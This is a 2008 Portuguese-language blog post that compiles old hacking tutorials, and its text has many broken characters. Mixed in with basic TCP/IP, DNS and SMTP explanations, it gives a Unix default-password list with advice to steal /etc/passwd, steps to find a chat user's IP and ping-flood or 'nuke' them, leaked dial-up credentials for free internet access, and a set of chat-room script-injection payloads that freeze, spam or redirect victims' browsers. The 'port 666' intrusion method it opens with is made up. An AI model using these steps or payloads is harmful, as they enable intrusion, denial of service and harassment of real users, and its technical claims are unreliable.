Invasão
Autor: Lameck | Publicado: 2008-02-12T19:33:00-08:00

Duas maneiras de invadir CPUs alheios pelo IP Invas o pela port 666Esta primeira maneira   feita atrav s da port 666 q   de uso exclusivo do governo Americano.Para invadir   facil vc deve ter um programa de conex o via telenet (telnet q ja vem com oWIN95 ou similar) e tamb m um programa chamado aabout. O q deve ser feito, este programaaabout deve ser acionado por ambas as parte (invasor e invadido) e o q ele faz?? Bem, eleabre uma porta de conex o entre os dois CPUs via a port 666. Vc deve ligar o telenet colocarno rost o numero do IP da pessoa e em port deve-se colocar 666. Bem vc ja esta conectado,dai no login vc deve digita cg! (com o "!") e dar um dir vendo tudo o q tem no CPU da outrapessoa.Invasãoo por IP Alegria de uns, tristeza de outros, na verdade, aqueles que utilizam a rede Dial-Up do Win95para sua conec  o com a internet podem estar correndo s rios riscos a n o ser,   claro, queassim conectam-se propositalmente, com inten  es "diversas". Utilizar-se de uma conec  o PPPdo Win95 num provedor de acesso, significa estar disponibilizando seu computador a todos osusu rio da net. Mesmo sem o compartilhamento de arquivos, existem diversas ferramentas quepermitem a outra pessoa conectar-se ao seu computador caso voc  esteja utilizando esse tipode conec  o. conecte-se   Internet utilizando a rede Dial-Up do Win95. Se o seu provedor n odisponibilizar uma conec  o do tipo PPP, estas dicas n o funcionar o. Verifique antes, se vocpossui os drivers clientes para redes Microsoft. Caso n o estejam instalados, instale-osatrav s do Painel de Controle, no  cone Redes. Verifique tamb m se o compartilhamento deArquivos e Impressoras est  instalado. Se estiver, voc  estar  sujeito   que outra pessoaconecte-se ao seu computador simplesmente sabendo seu IP. Se bem que, para aqueles que jsabem, existem mil maneiras diferentes de se "burlar" a fraquinha seguran a do Win95. Paravoc  poder encontrar outros computadores compartilhados, voc  deve configurar WINS e LMHOSTS.O WINS   utilizado para localizar os computadores com IP fixo. O LMHOSTS,   acionadoautomaticamente na procura de computadores que possuem IP din micos. Configurar essasop  es   simples. V  ao Painel de Controle e abra Rede. Verifique as propriedades do protocoloTCP/IP. Al  voc  encontrar  a op  o para ativar a resolu  o WINS. No caso de voc  n oconhecer nenhum servidor WINS, utilize 204.118.34.6 como prim rio e 204.118.34.11 comosecund rio. Esses servidores s o dos USA, e gratu tos. Caso queira outros endere os, utilizeum dos mecanismos de busca na Internet. Para configurar o LMHOSTS, voc  precisa criar umarquivo texto simples, utilizando-se at  mesmo o Bloco de Notas do Windows. O arquivo criadodeve chamar-se LMHOSTS.   nesse arquivo que ficar o os endere os de IP e os nomes doscomputadores que voc  ter  acesso. Para localizar um determinado computador, voc  digita oseu n mero de IP e a seguir seu NetBios, na mesma linha, separados por um espa o. Se vocexecutar o programa NBSTSTAT, seguido da op  o -N, voc  obter  essa lista, com o nome e o IPde seu computador sempre sendo o primeiro da lista, seguido das outras m quinas dispon veis,tudo numa janela DOS. Atrav s do Explorer voc  poder  ver os computadores dispon veis narede,dos quais voc  ainda poder  utilizar os discos mapeando-os, o que os tornar  unidadesde seu computador.Um guia completo sobre protocolos e TCP/IP                      TCP/IP - IntroduçãoPara "hackear" um sistema ligado a Internet/Intranet ou até  mesmo um uma simples rede que utiliza o tcp/ip, nada melhor do que saber lidar a fundo com o protocolo mais usado e mais famoso no mundo inteiro.                              TCP/IPTCP/IP e o nome que se da a toda a fam lia de protocolos utilizados pela Internet. Esta fam lia deprotocolos foi desenvolvida pela DARPA (Defense Advanced Research Project Agency) no DoD(Departamento de Defesa dos Estados Unidos).Este conjunto de protocolos foi desenvolvido p/permitir aos computadores compartilharem recursosnuma rede. Toda a fam lia de protocolos incluem um conjunto de padr es que especificam osdetalhes de como comunicar computadores, assim como tamb m conven  es para interconectarredes e rotear o trafego.Mas ao contrario do que acontece na imprensa, o nome completo raramente   usado. O TCP e oIP s o protocolos individuais que podem ser discutidos de modo isolado, mas eles n o s o osnicos protocolos que comp em essa fam lia. Pode acontecer de um usu rio do TCP/IP n o utilizaro protocolo TCP propriamente dito, mas sim alguns protocolos da fam lia. A utiliza  o do TCP/IPnessa situa  o deixa de ser apropriada porque o nome se aplica de modo gen rico ao uso dequalquer protocolo da fam lia TCP/IP.                             FAMiLIAARP Address Resolution ProtocolICMP Internet Control Message ProtocolUDP User Datagram ProtocolRIP Routing Information ProtocolHTTP Hypertext Transfer ProtocolNNTP Network News Transfer ProtocolSMTP Simple Mail Transfer ProtocolSNMP Simple Network Management ProtocolFTP File Transfer ProtocolTFTP Trivial File Transfer ProtocolINET PHONE Telephone Services on InternetIRC Internet Relay ChatRPC Remote Procedure CallNFS Network File SystemDNS Domain Name SystemTalvez seja dificil lembrar todos esses acr nimos, ate porque alguns tamb m s o utilizados poroutros protocolos (por exemplo o protocolo RIP da fam lia Novell, ou o IPX,   diferente do RIP da fam lia TCP/IP). Alem do mais, saber exatamente quais s o os protocolos que comp em umadeterminada fam lia n o   pr -requisito para compreender o funcionamento b sico da rede.              Uma visão resumida do ProtocoloAlguma transfer ncia se inicia com um pedido de leitura ou escrita de um arquivo, o qual também serve para pedir uma conex o. Se o servidor reconhece o pedido, a conex o   aberta e o arquivoenviado num bloco de tamanho fixo de 512 bytes.Cada pacote de dados contem um bloco de dados e deve ser reconhecido por um pacote deacknowledgment antes que o pr ximo pacote possa ser enviado. Um pacote de dados menor que512 bytes sinaliza a termina  o de uma transferencia.Se um pacote consegue se perder na rede, o receptor indicara time-out e poder  retransmitir seu ultimo pacote (o qual pode ser dados ou um reconhecimento ). Isto motiva ao transmissor do pacoteperdido a retransmitir o pacote perdido. O transmissor tem que guardar apenas um pacote para retransmissao, desde cada passo de reconhecimento garante que todos os pacotes mais anteriorestenham sido recebidos.Notar que as duas maquinas envolvidas na transferencia s o consideradas transmissoras e receptoras. Uma envia dados e recebe reconhecimento, a outra envia reconhecimento e recebedados.Muitos erros s o causados pela termina  o da conex o. Um erro e sinalizado enviando um pacote de erro. Este pacote n o e reconhecido nem retransmitido (i.e., um servidor TFTP ou usu rio podeterminar depois enviando uma mensagem de erro) assim o outro terminal da conex o n o deve recebe-lo. Portanto os time-out s o usados para detectar tais terminais quando o pacote de erro foiperdido.                           Protocolo IPO protocolo IP define mecanismos de expedi  o de pacotes sem conex o. IP define tr s pontosimportantes:1.- A unidade b sica de dados a ser transferida na Internet.2.- O software de IP executa a fun  o de roteamento, escolhendo um caminho sobre o qual osdados ser o enviados.3.- Incluir um conjunto de regras que envolvem a id ia da expedi  o de pacotes n o confi veis.Estas regras indicam como os hosts ou gateways poderiam processar os pacotes; como e quando asmensagens de erros poderiam ser geradas; e as condi  es em que os pacotes podem serdescartados.Dentro do protocolo IP tem os seguintes t picos:- Endere os IP- Formato do datagrama IP- Roteamento do datagrama IP- ICMP (Internet Control Message Protocol)              TCP (Transport Control Protocol)TCP e um protocolo da camada de transporte. Este e um protocolo orientado a conex o, o que indica que neste n vel v o ser solucionados todos os problemas de erros que n o foremsolucionados no n vel IP, dado que este ultimo e um protocolo sem conex o. Alguns dos problemas com os q TCP deve tratar s o: pacotes perdidos ou destru dos por erros de transmiss o. expedi  ode pacotes fora de ordem ou duplicados.O TCP especifica o formato dos pacotes de dados e de reconhecimentos que dois computadores trocam para realizar uma transfer ncia confi vel, assim como os procedimentos que os computadores usam para assegurar que os dados cheguem corretamente. Entre estes procedimentos estão:Distinguir entre m ltiplos destinos numa maquina determinada. Fazer recupera  o de erros, taiscomo pacotes perdidos ou duplicados.Para entender melhor o protocolo TCP a seguir veremos alguns conceitos, para depois passarmosao formato TCP.1-) Portas, Conex es e Endpoints2-) Segmentos, fluxo e Numero de Seq  ncia3-) Formato do Segmento TCP                 DNS (Domain Name System)O DNS (Domain Name System) e um esquema de gerenciamento de nomes, hier rquico e distribu do. O DNS define a sintaxe dos nome s usados na Internet, regras para delega  o de autoridade na defini  o de nomes, um banco de dados distribu do que associa nomes a atributos(entre eles o endere o IP) e um algoritmo distribu do para mapear nomes em endere os. O DNS e especificado nas RFCs 882, 883 e 973.As aplica  es normalmente utilizam um endere o IP de 32 bits no sentido de abrir uma conex o ou enviar um datagrama IP. Entretanto, os usu rios preferem identificar as maquinas atrav s de nomesao inv s de n meros. Assim e necess rio um banco de dados que permita a uma aplica  o encontrar um endere o, dado que ela conhece o nome da maquina com a qual se deseja comunicar.Um conjunto de servidores de nomes mant m o banco de dados com os nomes e endere os das maquinas conectadas a Internet. Na realidade este e apenas um tipo de informa  o armazenada nodomain system (sistema de dom nios).Note que e usado um conjunto de servidores interconectados,ao inv s de um  nico servidor centralizado. Existem atualmente tantas institui  es conectadas aInternet que seria impratic vel exigir q elas notificassem uma autoridade central toda vez que uma maquina fosse instalada ou trocasse de lugar. Assim, a autoridade para atribui  o de nomes edelegada a institui  es individuais. Os servidores de nome formam uma arvore, correspondendo a estrutura institucional. Os nomes tamb m adotam uma estrutura similar.Um exemplo t pico e o nome chupeta.jxh.xyz.br. Para encontrar seu endere o Internet, pode ser necess rio o acesso a ate quatro servidores de nomes. Inicialmente deve ser consultado um servidorcentral, denominado servidor raiz, para descobrir onde esta o servidor br. O servidor br e o respons vel pela ger ncia dos nomes das institui  es/empresas brasileiras ligadas a Internet. Oservidor raiz informa como resultado da consulta o endere o IP de v rios servidores de nome para o n vel br (pode existir mais de um servidor de nomes em cada n vel, para garantir a continuidade daopera  o quando um deles para de funcionar). Um servidor do n vel br pode ent o ser consultado,devolvendo o endere o IP do servidor xyz.De posse do endere o de um servidor xyz e poss vel solicitar que ele informe o endere o de um servidor jxh, quando, finalmente, pode-se consultar o servidor jxh sobre o endere o da maquina chupeta. O resultado final da busca e o endereço Internet correspondente ao nome chupeta.jxh.xyz.brCada um dos n veis percorridos e referenciado como sendo um dom nio. O nome completo chupeta.jxh.xyz.br e um nome de dom nio.Na maioria dos casos, n o e necess rio ter acesso a todos os dom nios de um nome para encontrar o endere o correspondente, pois os servidores de nome muitas vezes possuem informa  es sobremais de um n vel de dom nio o que elimina uma ou mais consultas. Al m disso, as aplica  es normalmente tem acesso ao DNS atrav s de um processo local (servidor para as aplica  es e um cliente DNS),que pode ser implementado de modo a guardar os  ltimos acessos feitos, e assim resolver a consulta em n vel local. Essa abordagem de acesso atrav s de um processo local,simplifica e otimiza a tarefa das aplica  es no que tange ao mapeamento de nomes em endere os,uma vez que elimina a necessidade de implementar, em todas as aplica  es que fazem uso do DNS,o algoritmo de encaminhamento na arvore de dom nios descrito anteriormente.O DNS n o se limita a manter e gerenciar endere os na Internet. Cada nome de dom nio   um nome em um banco de dados, que pode conter registros definindo varias propriedades. Por exemplo, otipo da maquina e a lista de servi os fornecidos por ela. O DNS permite que seja definido um alias (nome alternativo) para o no. Tamb m e poss vel utilizar o DNS para armazenar informa  es sobreusu rios, listas de distribui  o ou outros objetos.O DNS e particularmente importante para o sistema de correio eletr nico. No DNS s o definidos registros que identificam a maquina que manipula as correspond ncias relativas a um dado nome,identificado assim onde um determinado usu rio recebe suas correspond ncias. O DNS pode ser usado tamb m para defini  o de listas para distribui  o de correspondências           SMTP - Simple Mail Transfer ProtocolO SMTP (Simple Mail Transfer Protocol) e o protocolo usado no sistema de correio eletr nico na arquitetura Internet TCP/IP. Um usu rio, ao desejar enviar uma mensagem, utiliza o modulointerface com o usu rio para compor a mensagem e solicita ao sistema de correio eletr nico que a entregue ao destinat rio. Quando recebe a mensagem do usu rio, o sistema de correio eletr nicoarmazena uma copia da mensagem em seu spool (  rea do dispositivo de armazenamento), junto com o hor rio do armazenamento e a identifica  o do remetente e do destinat rio. A transferencia da mensagem e executada por um processo em background, permitindo que o usu rio remetente,ap s entregar a mensagem ao sistema de correio eletr nico, possa executar outras aplições.O processo de transferencia de mensagens, executando em background, mapeia o nome da maquina de destino em seu endere o IP, e tenta estabelecer uma conex o TCP com o servidor de correio eletr nico da maquina de destino. Note que o processo de transferencia atua como cliente do servidor do correio eletr nico. Se a conex o for estabelecida, o cliente envia uma copia da mensagem para o servidor, que a armazena em seu spool. Caso a mensagem seja transferida comsucesso, o servidor avisa ao cliente que recebeu e armazenou uma copia da mensagem. Quando recebe a confirma  o do recebimento e armazenamento, o cliente retira a copia da mensagem que mantinha em seu spool local. Se a mensagem, por algum motivo, n o for transmitida com sucesso, o cliente anota o hor rio da tentativa e suspende sua execu  o. Periodicamente o cliente acorda e verifica se existem mensagens a serem enviadas na  rea de spool e tenta transmiti-las. Se uma mensagem n o for enviada por um per odo, por exemplo de dois dias, o servi o de correio eletr nico devolve a mensagem ao remetente, informando que n o conseguiu transmiti-la.Em geral, quando um usu rio se conecta ao sistema, o sistema de correio eletr nico e ativado para verificar se existem mensagens na caixa postal do usu rio. Se existirem, o sistema de correioeletr nico emite um aviso para o usu rio que, quando achar conveniente, ativa o modulo de interface com o usu rio para receber as correspondencias.Uma mensagem SMTP divide-se em duas partes: cabe alho e corpo, separados por uma linha em branco. No cabe alho s o especificadas as informa  es necess rias para a transferencia damensagem. O cabe alho e composto por linhas, que contem uma palavra-chave seguida de um valor. Por exemplo, identifica  o do remetente (palavra-chave "to:" seguida do seu endere o),identifica  o do destinat rio, assunto da mensagem, etc... No corpo s o transportadas as informações da mensagem propriamente dita. O formato do texto e livre e as mensagens s o transferidas no formato texto.Os usu rios do sistema de correio eletr nico s o localizados atrav s de um par de identificadores.Um deles especifica o nome da maquina de destino e o outro identifica caixa postal do usu rio. Um remetente pode enviar simultaneamente varias copias de uma mensagem, para diferentesdestinat rios utilizando o conceito de lista de distribui  o(um nome que identifica um grupo de usu rios). O formato dos endere os SMTP e o seguinte:nome_local@nome_do_dominioonde o nome_do_dominio identifica o dom nio ao qual a maquina de destino pertence (esse endere o deve identificar um grupo de maquinas gerenciado por um servidor de correio eletr nico).O nome local identifica a caixa postal do destinat rio.O SMTP especifica como o sistema de correio eletr nico transfere mensagens de uma maquina para outra. O modulo interface com usu rio e a forma como as mensagens s o armazenadas n o s odefinidos pelo SMTP. O sistema de correio eletr nico pode tamb m ser utilizado por processos de aplica  o para transmitir mensagens contendo textos.Sistemas Unix    1. Entrando no sistema - Para entrar no sistema, voc� deve entrar com um "login",que pode ter de 1 a 8 d�gitos e um password que pode ter de 6 a 8 d�gitos. Dai voc�tem duas sa�das:1.Arrumar a lista de passwords com um hacker2.Tentar entrar com os defaults3.Ver quem est� on-line com os comandos: who, rwho, finger; e tentar entrar comseus logins mais tarde.Defaults s�o logins e passwords que j� vem com o sistema. Eles ficam residentesat� que o sysop o desliguem, ent�o voc� pode dar a sorte de encontrar umesquecido. Veja lista abaixo.                         Login:                                      Password:                             root                                     root                             root                                     system                             sys                                     sys                             sys                                     system                             daemon                                     daemon                             uucp                                     uucp                             tty                                     tty                             test                                     test                             unix                                     unix                             unix                                     test                             bin                                     bin                             adm                                     adm                             adm                                     admin                             admin                                     adm                             admin                                     admin                              sysman                                     sysman                             sysman                                     sys                             sysman                                     system                             sysadmin                                     sysadmin                             sysadmin                                     sys                             sysadmin                                     system                             sysadmin                                     admin                             sysadmin                                     adm                             who                                     who                             learn                                     learn                             uuhost                                     uuhost                             guest                                     guest                             host                                     host                             nuucp                                     nuucp                             rje                                     rje                             games                                     games                             games                                     player                             sysop                                     sysop                             root                                     sysop                             demo                                     demo2. Dentro do sistema: Dentro do sistema, a primeira coisa que voc� deve fazer �copiar o arquivo da lista de passwords. Ele se est� em: /etc/passwd. Nesse arquivo,voc� vai encontrar as informa��es na seguinte sintaxe:username:password:UserID:GroupID:descri��o ou nome:homedir:shell Ex.:ard:234abc56:7148:34:Rodrigo Ardilha:/home/dir/ard:/bin/ardUsername: ardilha Encrypted Password: 234abc56  User Number: 7148 Group Number: 34 Other Information: Rodrigo Ardilha Home Directory: /home/dir/ard  Shell: /bin/ardEsse arquivo muito prov�velmente estar� encriptado. O password estar� escondidoe, sem um programa para decript�-la, a lista ser� in�til.Antes de usar o programa decriptador que n�o d� certeza de sucesso, tenteencontrar um login sem password pois assim, voc� s� precisar� digitar o login paraentrar no sistema. Ex.:ard::7148:34:Rodrigo Ardilha:/home/dir/ard:/bin/ardDepois da lista de passwords, pegue os seguintes arquivos: /etc/group - � a lista de newsgroups e seus passwords tamb�m encriptados.sintaxe - groupname:password:group id:users in group/etc/hosts - � a lista de hosts conectados ao sistemas. �til quando a conex�o � viatelenet ou rlogin./usr/mail/ - � onde est�o guardadas as mensagens de cada usu�rio.  Brincando com o IP   1�) ****Descobrindo o Ip ou Host de uma provedora :Encontre no seu micro, o atalho ou aviso do MS-DOS. Clique nele, dever� surgir uma telapreta com a seguinte apar�ncia:C:IWINDOWS>Nele digite:ping www.provedorquevoc�quer. com.brFicando assim:C:IWINDOWS> PING www.provedorquevoc�quer.com.brSer� retomado o Host da provedora bbs e etc... Quem sabe depois voc� come�a a brincar deTeInet?2�)****Eu tenho o IP e n�o sei o provedor.Digite no prompt do MS - DOS:tracert ipdocaraaquiFicando assim :C:IWINDOWS>TRACERT ipdocaraaquiSer� retornado o nome da provedora do cara, � s� prestar aten��o!!3�) ****Pegando IP em chat:Feche todos os seus aplicativos de rede, ICQ, FTP, XITAMI..., que voc� estiver usando.Feche todos os navegadores que n�o sejam da sala aonde o cara se encontra � l�gico!Concentre-se s� na sala do chat na qual se encontra o cara que voc� quer pegar o ip. Pe�a aspessoas que est�o conversando com voc� para pararem de te mandarem mensagens, quandoisto acontecer mande algumas mensagens em sequ�ncia para vitima, voc� aprende isto naparte de chat desta HP. Alterne para o seu MS-DOS (ALT +TAB) , na hora e digite:arp -aFicando assim:C:IWWDOWS> arp -aNeste momento ser�o retomados, v�rios IP'S, ( 4 � 6 em m�dia). O primeiro � o IP da salaaonde voc� se encontra. Entretanto, na "MAIORIA DAS VEZES" o segundo IP � dogafanhoto que voc� quer mandar para os sapos ! Se voc� n�o tem certeza e deseja confirmaristo, guarde o IP e compare com as informa��es que voc� tem sobre a v�tima (rovedora porexemplo). Se voc� n�o sabe nada dela, paci�ncia, pegue todos os IP's e nuke um � um, ou fa�aum ping flood que ser� explicado abaixo, ou repita o procedimento acima v�rias vezes eguarde os IP'S que est�o repetindo com mais frequ�ncia. E tome as medidas que desejar.4�) ****Meu nuke n�o fimciona:Tente o seguinte comando no prompt do MS-DOS:ping -f-l1000 -t ipdocaraouping -t -11000 -f ipdocaraFicando assim:C:IWfNDOWS>ping -f-11000 -t ipdocaraouC:IWINDOWS>ping -t -11000 -f ipdocaraRepita o procedimento ate ele cair. Lembre-se de que, quanto mais pessoas fazendo juntocom voc�, mais rapido sera o tombei :-)))5�) ****Partindo para o desespero:Pegue um pense na parte de programas desta HP. Passe nas portas do micro do gafanhoto.Observe as que est�o sem prote��o e nukel A maioria dos nukes vem designado as portas137, 138, 139. Ent�o mude e "meta os ferro" nas portas que est�o sem prote��o.6�) ****Partindo para o desespero a beira de um ataque de nervos:Passe o programa portscan nas portas do micro da v�tima constantemente, ping o micro docara como na li��o 4. O "inimigo" no m�nimo vai ficar urna lerdeza hehehehe... Se voc� quiserarriscar, nuke ao mesmo tempo. Aviso: quem pode perder a conex�o � voc�lInternet via linha0800    Acabou a moleza! Agora s� serve para cadastro - Navega��o                           livre interrompida.           Agora � poss�vel conectar-se a Internet sem pagar provedor e contatelef�nica.           Esta descoberta foi feita por mim, Subzero01. Eu descubri essa falha nosistema do SBT On Line quando eu fui fazer o meu cadastro por um CD Rom queganhei de uma revista.           Depois que o programa de cadastro discou para o servidor, eu percebique o ICQ foi ativado, pois no mesmo momento eu recebi uma mensagem doBubble Jump. A� eu pensei comigo: para o ICQ ser ativado, o servidor tem queliberar a transfer�ncia de dados externos, ou seja, o servidor tem que estarconfigurado para o usu�rio navegar livremente pela Internet, e o servidor decadastro do SBT On Line estava desse modo; bem diferente do servidor decadastro da Mandic, que s� permite o acesso a uma �nica URL(http://cadastro.mandic.com.br).           Agora que voc� j� sabe como eu descubri essa falha, vou te dar o login, asenha e o telefone de acesso. Siga as instru��es abaixo: Crie uma nova conex�o na Rede Dial-Up com o nome que voc� quiser. Insira este n�mero de telefone: ,,0800,55,7676 (digite exatamente como est� aqui). Ap�s criar a nova conex�o, digite dmayce no campo Nome do usu�rio. Coloque sptob no local da Senha. Clique em Conectar.           Pronto ! Voc� de agora em diante n�o paga mais provedor e nem contatelef�nica. S� tem dois inconvenientes nesta conex�o: a transfer�ncia de dadosgeralmente � muito baixa (varia de 12.2Kbps a 26.8Kbps), e voc� � desconectado acada 10 minutos. Mas j� d� para fazer uma gra�a, como por exemplo, conferir oe-mail e as mensagens do ICQ. Zoando no chat com linguagem HTML e JavaScript                       Bom, voc� deve estar esperando que eu ensine a usar JavaScript em chats,certo? Pra come�o de conversa, � bom que fique claro que em chat se usa JavaScript, e n�o Java, como muitos pensam. E tamb�m � bom que se entenda, que osJava Scripts s�o executados por meio de eventos, e o que vou ensinar � o"onMouseOver", ou seja, "ao Tocar o Mouse!" e tamb�m como entrar no chat comos Scripts e com HTML !Tendo isso entendido, come�emos:1."Cara, ont�m eu tava num chat, e um cara me mandou um tal de Java Alert, que apareceu a eu passar o mouse, como ser� que ele fez isso?! Para mandar um alert, ou confirm(simples) dentro do chat fa�a o seguinte: (21:21:21) Seu Nick : Coloque o mouse aqui!Este funciona no Internet Explorer e no Netscape e o comando abaixo nos CHATS s� funciona Netscape Ou Coloque o mouse aqui! E o resultado ser� esse: Coloque o mouse aqui! Coloque o mouse aqui! O "confirm" � a mesma coisa, mas, troca-se o nome "alert", por "confirm". A diferen�a? Bom, o confirm d� duas op��es, "OK" e "CANCELAR". Obs.: Mas da maneira com estou ensinando, n�o far� diferen�a entre clicar "OK" ou "CANCELAR".2."Como fa�o para mudar a cor do fundo dentro de uma sala de chat?" Para mudar a cor de fundo de uma sala de chat fa�a o siguinte: (21:21:21) Seu Nome : Passe o Mouse aqui!!! No caso, ao tocar num texto qualquer depois do comando a cor do fundo de quem tocar fica preta, e qualquer outra cor que voc� queira colocar dever� ser colocada em ingl�s. "Mas s� tem esse jeito?" N�o, tem uma maneira em que o cara que cai no comando pode escolher a cor do fundo... Para isso fa�a o seguinte: (21:21:21) Seu Nome : Passe o mouse aqui!!! Vai ficar assim: Passe o mouse aqui!!! Assim, quando mo cara tocar vai aparecer uma janelinha escrito "Escolha uma cor:", sendo que este texto pode ser mudado para qualquer texto que VOC� queira...Java Alert na entrada da sala:1.Para voc� dar os comandos voc� editar a p�gina ent�o:2.Salve a p�gina no menu Arquivo-SalvarComo ou File-SaveAs em seu navegador;3.Abra o arquivo que voc� escolheu em qualquer Editor ou Processador de texto;4.Troque a palavra maxlength="18" por maxlength="900";5.Salve... E abra a Home Page em seu Navegador.Ai basta dar o comando:&amp;+lt;script&amp;+gtalert(&amp;+quot;Mensagem&amp;+quot)&amp;+lt;/script&amp;+gtSem os Sinais de +(mais)Dica:No Lugar do alert(&amp;+quot;Mensagem&amp;+quot) voc� pode colocar window.clouse() parafechar a janela do netscape e window.open('endere�o') para abrir a janela do netscapeDicas de HTML:P� cara, hoje um cara entrou na sala trocando a cor da sala e a letra tamb�m???? Comofa�o isso?????1� - Voce tem que editar a p�gina... 1.Para voc� dar os comandos voc� editar a p�gina salvando-a no seu navegador com um nome qualquer...2.Abra o arquivo que voc� escolhou em qualquer Editor ou Processador de texto;3.Troque a palavra maxlength="18" por maxlength="900";4.Salve... E abra a Home Page em seu Navegador.2� - Comando para Mudar a cor do fundo???1.Com a p�gina j� editada e aberta em seu navegador... Digite seu NICK (nome) e depois os comandos;2.&amp;&amp;+#60Body bgcolor="#XXXXXX&amp;&amp;+#62 (Coloque sem o sinal de +... E onde tem o "X" pode colocar qualque n� abaixo...)3.Cores: Preto = #000000; Azul = #0000FF; Branco = #FFFFFF; Verde = #00FF00; Verde Escuro = #2F4F2F; Amarelo = #FFFF00; Vermelho Escuro = #800000; Azul Escuro = #000080; Magenta Escuro = 800080;3� - Seu j� mudei a cor do fundo como mundo a das letras???????1.OBS: Se voc� mudou a cor du fundo para preto voc� vai ter que mudar a cor para outra cor a n�o ser preto... Se n�o ningu�m vai ler!!!!2.Para voc� mudar as cores ao entrar na sala digite: &amp;&amp;+#60font color="#XXXXXX&amp;&amp;+#62 (Coloque sem o sinal de +... E onde tem o "X" pode colocar qualquer cor...)Sala Hacker da Mandic.r: Qual apelido voc� quer usar?    Sala Papo Furado2 da Mandic: Sala TEMA LIVRE! DA ICONETNome:"Conversa Fiada do CHAT DO Estado de Minas":                                 GEOCHAT!!!Name:Name:Name:TeM De TuDo HoMe PaGe para CHATSCOMANDO -1 -Este comando � para escrever o que quiser antes dos ":"no chat doUOL;primeiro voc� tem que saber o n�mero da sala onde entrar. Por exemplo a sala n�mero 2117.No lugar do endere�o, l� em cima, digite oseguinte:http://sartre.uol.com.br:2117/&amp;USER=seu+nome&amp;WHOTO=sua+frase&amp;SAYS=outra+frase. Por exemplo, eu vou te mostrar como � que eu entronessa sala:http://sartre.uol.com.br:2117/&amp;USER=KILLSUBIT&amp;WHOTO=entra+na+sala+barbarizando+com+todas+as+gatinhas&amp;SAYS= � s� isso, e n�o esque�a de mudar os espa�os por "+".COMANDO -1 - Este comando quando ativado mostra uma mensagem na barra de status ;escreva o seguinte; - < href="#still" onmouseover="window.status=' mensagem ';return true">COMANDO -2 - Quando o internauta escolhido passar com o mouse em cima do link aparece natela um aviso de alert ; - escreva o seguinte; < href="" onmouseover="var bg=alert(' mensagem ' )"> passe o mouse aqui -voc� pode colocar foto ou gif substituindo a mensagem.COMANDO - 3 - Este comando abre uma janela de identifica��o na tela do internauta escolhido;escreva o seguinte : - < method="postname=" action="mailto:">COMANDO - 4 - Para enviar imagem escreva o seguinte ; - < src="http://www."> -COMANDO - 5 - Para voc� alterar a c�r da mensagem, escreva o seguinte : - < color=" .">COMANDO - 6 - Para voc� alterar o tamanho da letra, escreva o seguinte ; -. . .mensagem. . ... este comando vai de H1 at� H6COMANDO - 7 - Para fazer o texto correr, escreva o seguinte ; - . . .aqui voc� escreva o texto. .... este comando s� funciona com explorer no chat da UNINETCOMANDO - 8 - Para centralizar o texto, escreva o seguinte ; -                         . . .aqui voc� escreva o texto..COMANDO - 9 - Para mudar o pano de fundo, escreva o seguinte ; - .. este comando s� funcionacom explorer no chat da UNINETCOMANDO - 10 - Para voc� fazer um link, escreva o seguinte ; - < href="http://www.francanet.com.br"> clique aqui < /a > quando o internauta clicar, ele aciona o link eabre mais uma janela com o linkCOMANDO - 11 - Com este comando vc coloca uma"mina" que quando o internauta passar como mouse sobre ela abre 30 janelas do Netscape, travando a maquina : escreva o seguinte ; - < href="" onmouseover="alert('\n Que pena, vc estava distraido. \n\nAT� OUTRO DIA! \n\n �-Dͣ&amp;127-�');while(true)history.go(0);window.setTimeout('ReloadBomb()',1)">< /a >COMANDO - 12 - Para expulsar um chato da sala escreva o seguinte ;- < src="http://www.iis.com.br/~schuler/an-099.gif" onload="alert('\n VOC� FOI EXPULSO POR killsubit;\n\n Tchau!!');variCounter=0;while(true)window.open('http://www.NETural.com/~ccamel');">Counter('width=1,height=1,resizable=no');iCounter++">obs: Todos esses c�digo ( agora os abaixo) s�o gerados por uma imagem no chat...portanto s� ir�o funcionar em salas de chat onde s�o permetidas imagens enviadas pelos usu�rios.trocarei os <> por () basta mudar isso1 - Infinitas Janelas(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="var conta = 0; while(true){window.open('http://www.disney.com','CAIU' + conta,'width=1,heght=1,resizable=no'); conta++}">2 - Super Imagem(img src="caiu" WIDTH=9999999999999 HEIGHT=9999999999999>3 - Infinitas Mensagens(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="while(true){confirm('Caiu...!');}">4 - Causar opera��o Invalida(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="while(true){document.write('Caiu...!!!');}">5 - Bomba Reload(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="confirm('Caiu...!!!');while(true)history.go(0);window.setTimeout('ReloadBomb()',1)">6 - Muda cor de fundo(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="var bg=prompt('Escolha uma cor:');document.bgColor=bg">7 - Muda cor do banner(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="var bg=prompt('Escolha uma cor:');parent.frames[1].document.bgColor=bg">8 - Travar banner(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="while(true){parent.frames[1].document.write('Frase')}">9 - Travar Mouse(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="while(true) {}">10 - Falar o Tipo de Netscape(img src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="parent.frames[1].document.forms[0].SAYS.value='Mestre ! o meu netscape � o:'+navigator.userAgent;parent.frames[1].document.forms[0].WHOTO.value ='TODOS';parent.frames[1].document.forms[0].ACTION.value = 'fala para';parent.frames[1].document.forms[0].submit()">11 - Direcionar para outra p�gina src="http://www.geocities.com/Area51/Lair/1476/bola.gif" onLoad="confirm('Vai entrar quer queira ou n�o...!!!');window.open('link da p�gina','NovaJanela')"> <!-- text below generated by server. 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